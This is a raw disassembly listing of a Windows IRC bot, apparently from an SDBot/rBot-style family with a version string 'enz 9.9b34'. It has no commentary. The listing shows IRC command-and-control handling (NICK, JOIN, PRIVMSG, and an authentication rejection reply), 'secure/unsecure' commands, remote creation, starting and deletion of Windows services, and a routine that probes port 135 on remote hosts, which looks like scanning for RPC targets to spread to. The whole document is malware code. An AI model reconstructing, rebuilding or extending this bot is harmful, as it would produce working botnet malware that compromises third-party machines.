		add	esp, 1Ch
		mov	[ebp-460h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F8h]
		push	ebx
		push	eax
		push	offset loc_407FEE
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-460h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_41271F


loc_412709:				; CODE XREF: seg000:0041271Dj
		cmp	[ebp-450h], ebx
		jnz	loc_40D1FD
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_412709
; ---------------------------------------------------------------------------


loc_41271F:				; CODE XREF: seg000:00412707j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433470
		jmp	loc_40D3E6
; ---------------------------------------------------------------------------


loc_412730:				; CODE XREF: seg000:0040DDF9j
					; seg000:0040DE0Ej ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412758
		push	edi
		push	offset aSec	; "sec"
		call	sub_4158F0
		pop	ecx
		mov	[ebp-458h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_412762


loc_412758:				; CODE XREF: seg000:0041273Fj
		mov	dword ptr [ebp-458h], 1


loc_412762:				; CODE XREF: seg000:00412756j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-458h], ebx
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4127A9
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4127A9:				; CODE XREF: seg000:004127A2j
		push	eax
		push	offset dword_433420
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	19h
		push	eax
		call	sub_414F79
		add	esp, 1Ch
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_414640
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_412819


loc_412807:				; CODE XREF: seg000:00412817j
		cmp	[ebp-44Ch], ebx
		jnz	short loc_412834
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_412807
; ---------------------------------------------------------------------------


loc_412819:				; CODE XREF: seg000:00412805j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4333D0


loc_412825:				; CODE XREF: seg000:00410A9Dj
					; seg000:0041156Fj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_412834:				; CODE XREF: seg000:0040F798j
					; seg000:0040F7BAj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		jmp	loc_40D3EC
; ---------------------------------------------------------------------------


loc_412845:				; CODE XREF: seg000:0040DDCFj
					; seg000:0040DDE4j
		push	offset aEnz9_9b34 ; "enz 9.9b34"
		push	offset dword_4333AC


loc_41284F:				; CODE XREF: seg000:0041130Fj
					; seg000:00411623j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD


loc_41285B:				; CODE XREF: seg000:00411F91j
		add	esp, 0Ch
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_412863:				; CODE XREF: seg000:0040DDA5j
					; seg000:0040DDBAj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_4128C3
		push	esi
		call	sub_415A3F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4128B8
		cmp	eax, 2
		jge	short loc_4128B8
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4128AD
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4364F8
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_4128AD:				; CODE XREF: seg000:0041288Cj
		push	eax
		push	offset dword_43336C
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_4128B8:				; CODE XREF: seg000:00412877j
					; seg000:0041287Cj
		push	eax
		push	offset dword_43332C
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_4128C3:				; CODE XREF: seg000:0041286Cj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4128C8:				; CODE XREF: seg000:004128E4j
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4128EB
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4128C8
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_4128EB:				; CODE XREF: seg000:004128D8j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_4364F8
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_412905:				; CODE XREF: seg000:0040DD7Bj
					; seg000:0040DD90j
		push	dword ptr [ebp-90h]
		push	offset dword_436450
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412974
		call	sub_415142
		push	ebx
		call	ds:dword_421114	; ExitProcess


loc_412927:				; CODE XREF: seg000:0040DD51j
					; seg000:0040DD66j
		push	dword ptr [ebp+esi-90h]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-564h]
		push	ds:dword_42C16C
		push	eax
		call	sub_414419
		lea	eax, [ebp-564h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-564h]
		push	eax
		push	offset dword_4332F4
		call	sub_40B1C5


loc_412971:				; CODE XREF: seg000:0040F913j
		add	esp, 24h


loc_412974:				; CODE XREF: seg000:0040D495j
					; seg000:0040D4A1j ...
		mov	eax, [ebp+2Ch]
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_41297C:				; CODE XREF: seg000:0040D951j
					; seg000:0040D966j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_40D1FD
		cmp	[ebp-98h], ebx
		jnz	loc_40D1FD
		push	offset dword_42F3A4
		push	dword ptr [ebp-94h]
		call	sub_416C78
		mov	esi, eax
		push	offset dword_438FB4
		push	ebx
		inc	esi
		call	sub_416C78
		push	offset asc_4332F0 ; "~"
		push	eax
		call	sub_416C78
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_4158F0
		add	esp, 20h
		test	eax, eax
		jz	short loc_412A24
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	esi
		push	offset dword_433264


loc_412A10:				; CODE XREF: seg000:00412A80j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 30h
		jmp	loc_40D7DD
; ---------------------------------------------------------------------------


loc_412A24:				; CODE XREF: seg000:004129D7j
		mov	dword ptr [ebp+2Ch], offset off_42C220


loc_412A2B:				; CODE XREF: seg000:00412A47j
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_4152D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A82
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_42C224
		jl	short loc_412A2B
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	esi
		push	offset dword_433224
		jmp	short loc_412A10
; ---------------------------------------------------------------------------


loc_412A82:				; CODE XREF: seg000:00412A3Aj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_412A87:				; CODE XREF: seg000:00412AB1j
		cmp	[ebp+8], ebx
		jz	loc_40D1FD
		cmp	[edi], bl
		jnz	short loc_412AA7
		push	dword ptr [ebp+8]
		push	offset aHi	; "hi"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AB8


loc_412AA7:				; CODE XREF: seg000:00412A92j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_412A87
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_412AB8:				; CODE XREF: seg000:00412AA5j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_416D20
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_412AEF
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_4331F0
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_412AEF:				; CODE XREF: seg000:00412AD3j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_4331BC
		jmp	loc_40D3E6
; ---------------------------------------------------------------------------


loc_412B00:				; CODE XREF: seg000:0040D047j
					; seg000:0040D05Cj
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	offset aXI	; "+x+i"
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		add	esp, 2Ch
		mov	ds:dword_468978, edi
		jmp	loc_40D0D6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B46	proc near		; CODE XREF: sub_412B7E+125p
					; sub_412B7E+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_412B74


loc_412B57:				; CODE XREF: sub_412B46+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417910
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412B7A
		inc	esi
		cmp	esi, edi
		jl	short loc_412B57


loc_412B74:				; CODE XREF: sub_412B46+Fj
		xor	al, al


loc_412B76:				; CODE XREF: sub_412B46+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412B7A:				; CODE XREF: sub_412B46+27j
		mov	al, 1
		jmp	short loc_412B76
sub_412B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B7E	proc near		; CODE XREF: sub_4033CB+8Bp
					; sub_4033CB+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_415D50
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_412BBF
		dec	eax
		jz	short loc_412B9D
		dec	eax


loc_412B97:				; CODE XREF: sub_412B7E+57j
		xor	eax, eax


loc_412B99:				; CODE XREF: sub_412B7E+3Fj
					; sub_412B7E+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_412B9D:				; CODE XREF: sub_412B7E+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	ds:dword_43A3B8	; inet_addr
		push	eax
		call	sub_4076D2
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_412B99
; ---------------------------------------------------------------------------


loc_412BBF:				; CODE XREF: sub_412B7E+13j
		push	6
		push	1
		push	2
		call	ds:dword_43A3F8	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_412B97
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	ds:dword_43A378	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A03F
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A320	; connect
		cmp	eax, edi
		jz	loc_412CDB
		push	ebx
		push	48h
		push	offset dword_436570
		push	esi
		call	ds:dword_43A3C8	; send
		cmp	eax, edi
		jz	loc_412CDB
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43A390	; recv
		cmp	eax, edi
		jz	loc_412CDB
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_412CDB
		push	ebx
		push	18h
		push	offset dword_4365BC
		push	[ebp+arg_4]
		call	ds:dword_43A3C8	; send
		cmp	eax, edi
		jz	short loc_412CDB
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43A390	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_412CDB
		cmp	[ebp+var_200E],	2
		jnz	short loc_412CDB
		push	10h
		push	offset loc_4365D8
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B46
		add	esp, 10h
		test	al, al
		jz	short loc_412CBB
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_412CDB
; ---------------------------------------------------------------------------


loc_412CBB:				; CODE XREF: sub_412B7E+12Fj
		push	10h
		push	offset dword_4365EC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B46
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_412CDB:				; CODE XREF: sub_412B7E+9Bj
					; sub_412B7E+B2j ...
		push	[ebp+arg_4]
		call	ds:dword_43A410	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_412B99
sub_412B7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412CEC	proc near		; CODE XREF: sub_40CCC1+3Dp
					; seg000:0040D004p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41746F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3C8	; send
		leave
		retn
sub_412CEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D32	proc near		; CODE XREF: start+88p
					; seg000:004014BDp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_412D4D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_412D4D:				; CODE XREF: sub_412D32+14j
		push	edi
		call	sub_415CD0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415CD0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_415A4A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_436600
		push	eax
		call	sub_4154CD
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3C8	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_412DCB
		push	7D0h
		call	ds:dword_421060	; Sleep

locret_412DCB:				; CODE XREF: sub_412D32+8Cj
		leave
		retn
sub_412D32	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DCD	proc near		; CODE XREF: seg000:loc_40ED45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_412E32
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_436618[esi]
		push	edi
		push	eax
		call	sub_412E54
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412E15
		push	edi
		push	ds:off_436614[esi]
		mov	esi, offset dword_469040
		push	offset dword_43674C
		push	esi
		call	sub_4154CD
		add	esp, 10h
		jmp	short loc_412E4F
; ---------------------------------------------------------------------------


loc_412E15:				; CODE XREF: sub_412DCD+2Aj
		push	eax
		call	sub_412EF6
		push	eax
		push	edi
		mov	esi, offset dword_469040
		push	offset dword_436710
		push	esi
		call	sub_4154CD
		add	esp, 14h
		jmp	short loc_412E4F
; ---------------------------------------------------------------------------


loc_412E32:				; CODE XREF: sub_412DCD+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_469040
		push	ds:off_436610[eax*4]
		push	offset dword_4366D8
		push	esi
		call	sub_4154CD
		add	esp, 0Ch


loc_412E4F:				; CODE XREF: sub_412DCD+46j
					; sub_412DCD+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412DCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E54	proc near		; CODE XREF: sub_412DCD+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_43A36C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_412E7B
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412EF0
; ---------------------------------------------------------------------------


loc_412E7B:				; CODE XREF: sub_412E54+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_43A260	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412E9B
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412EE8
; ---------------------------------------------------------------------------


loc_412E9B:				; CODE XREF: sub_412E54+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412ECE
		cmp	eax, 3
		jz	short loc_412EBF
		jle	short loc_412EE1
		cmp	eax, 6
		jg	short loc_412EE1
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_43A2C8	; ControlService
		jmp	short loc_412ED5
; ---------------------------------------------------------------------------


loc_412EBF:				; CODE XREF: sub_412E54+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_43A268	; StartServiceA
		jmp	short loc_412ED5
; ---------------------------------------------------------------------------


loc_412ECE:				; CODE XREF: sub_412E54+4Dj
		push	esi
		call	ds:dword_43A2CC	; DeleteService


loc_412ED5:				; CODE XREF: sub_412E54+69j
					; sub_412E54+78j
		test	eax, eax
		jnz	short loc_412EE1
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax


loc_412EE1:				; CODE XREF: sub_412E54+54j
					; sub_412E54+59j ...
		push	esi
		call	ds:dword_43A27C	; CloseServiceHandle


loc_412EE8:				; CODE XREF: sub_412E54+45j
		push	edi
		call	ds:dword_43A27C	; CloseServiceHandle
		pop	esi


loc_412EF0:				; CODE XREF: sub_412E54+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412E54	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EF6	proc near		; CODE XREF: sub_412DCD+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412FAB
		jz	loc_412FA4
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412F6E
		jz	short loc_412F64
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_412F5A
		dec	ecx
		dec	ecx
		jz	short loc_412F50
		dec	ecx
		jz	short loc_412F46
		sub	ecx, 51h
		jz	short loc_412F3C
		sub	ecx, 24h
		jnz	loc_413021	; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F3C:				; CODE XREF: sub_412EF6+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F46:				; CODE XREF: sub_412EF6+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."


loc_412F4B:				; DATA XREF: seg002:off_42B7FCo
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F50:				; CODE XREF: sub_412EF6+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F5A:				; CODE XREF: sub_412EF6+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F64:				; CODE XREF: sub_412EF6+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F6E:				; CODE XREF: sub_412EF6+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412F9D
		dec	ecx
		jz	short loc_412F96
		dec	ecx
		jz	short loc_412F8F
		dec	ecx
		jnz	loc_413021	; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F8F:				; CODE XREF: sub_412EF6+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412F96:				; CODE XREF: sub_412EF6+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412F9D:				; CODE XREF: sub_412EF6+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FA4:				; CODE XREF: sub_412EF6+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FAB:				; CODE XREF: sub_412EF6+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_413021 ; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41300E
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_413021 ; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_413062[ecx]
		jmp	ds:off_41303A[ecx*4] ; switch jump


loc_412FCF:				; DATA XREF: seg000:off_41303Ao
		push	offset aTheSpecifiedDa ; jumptable 00412FC8 case 7
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceDepe ; jumptable 00412FC8 case 17
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FDD:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceDe_0 ; jumptable 00412FC8 case 10
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FE4:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceHasB ; jumptable 00412FC8 case 0
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FEB:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheSpecified_0 ; jumptable 00412FC8 case 2
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FF2:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceCoul ; jumptable 00412FC8 case 11
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FF9:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceHa_0 ; jumptable 00412FC8 case 14
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_413000:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheRequested_1 ; jumptable 00412FC8 case 3
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_413007:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceHasN ; jumptable 00412FC8 case 4
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_41300E:				; CODE XREF: sub_412EF6+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_413013:				; CODE XREF: sub_412EF6+41j
					; sub_412EF6+4Bj ...
		push	offset dword_468980
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_413034
; ---------------------------------------------------------------------------


loc_413021:				; CODE XREF: sub_412EF6+36j
					; sub_412EF6+89j ...
		push	eax		; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_468980
		call	sub_4154CD
		add	esp, 0Ch


loc_413034:				; CODE XREF: sub_412EF6+129j
		mov	eax, offset dword_468980
		retn
sub_412EF6	endp

; ---------------------------------------------------------------------------
off_41303A	dd offset loc_412FE4	; DATA XREF: sub_412EF6+D2r
		dd offset loc_412FEB	; jump table for switch	statement
		dd offset loc_413000
		dd offset loc_413007
		dd offset loc_412FCF
		dd offset loc_412FDD
		dd offset loc_412FF2
		dd offset loc_412FF9
		dd offset loc_412FD6
		dd offset loc_413021
byte_413062	db	0,     9,     1,     2 ; DATA XREF: sub_412EF6+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413074	proc near		; CODE XREF: seg000:0040ED70p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_43A36C	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_4130AC:				; CODE XREF: sub_413074+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_43A338	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_4130E6
		call	ds:dword_421088	; RtlGetLastWin32Error
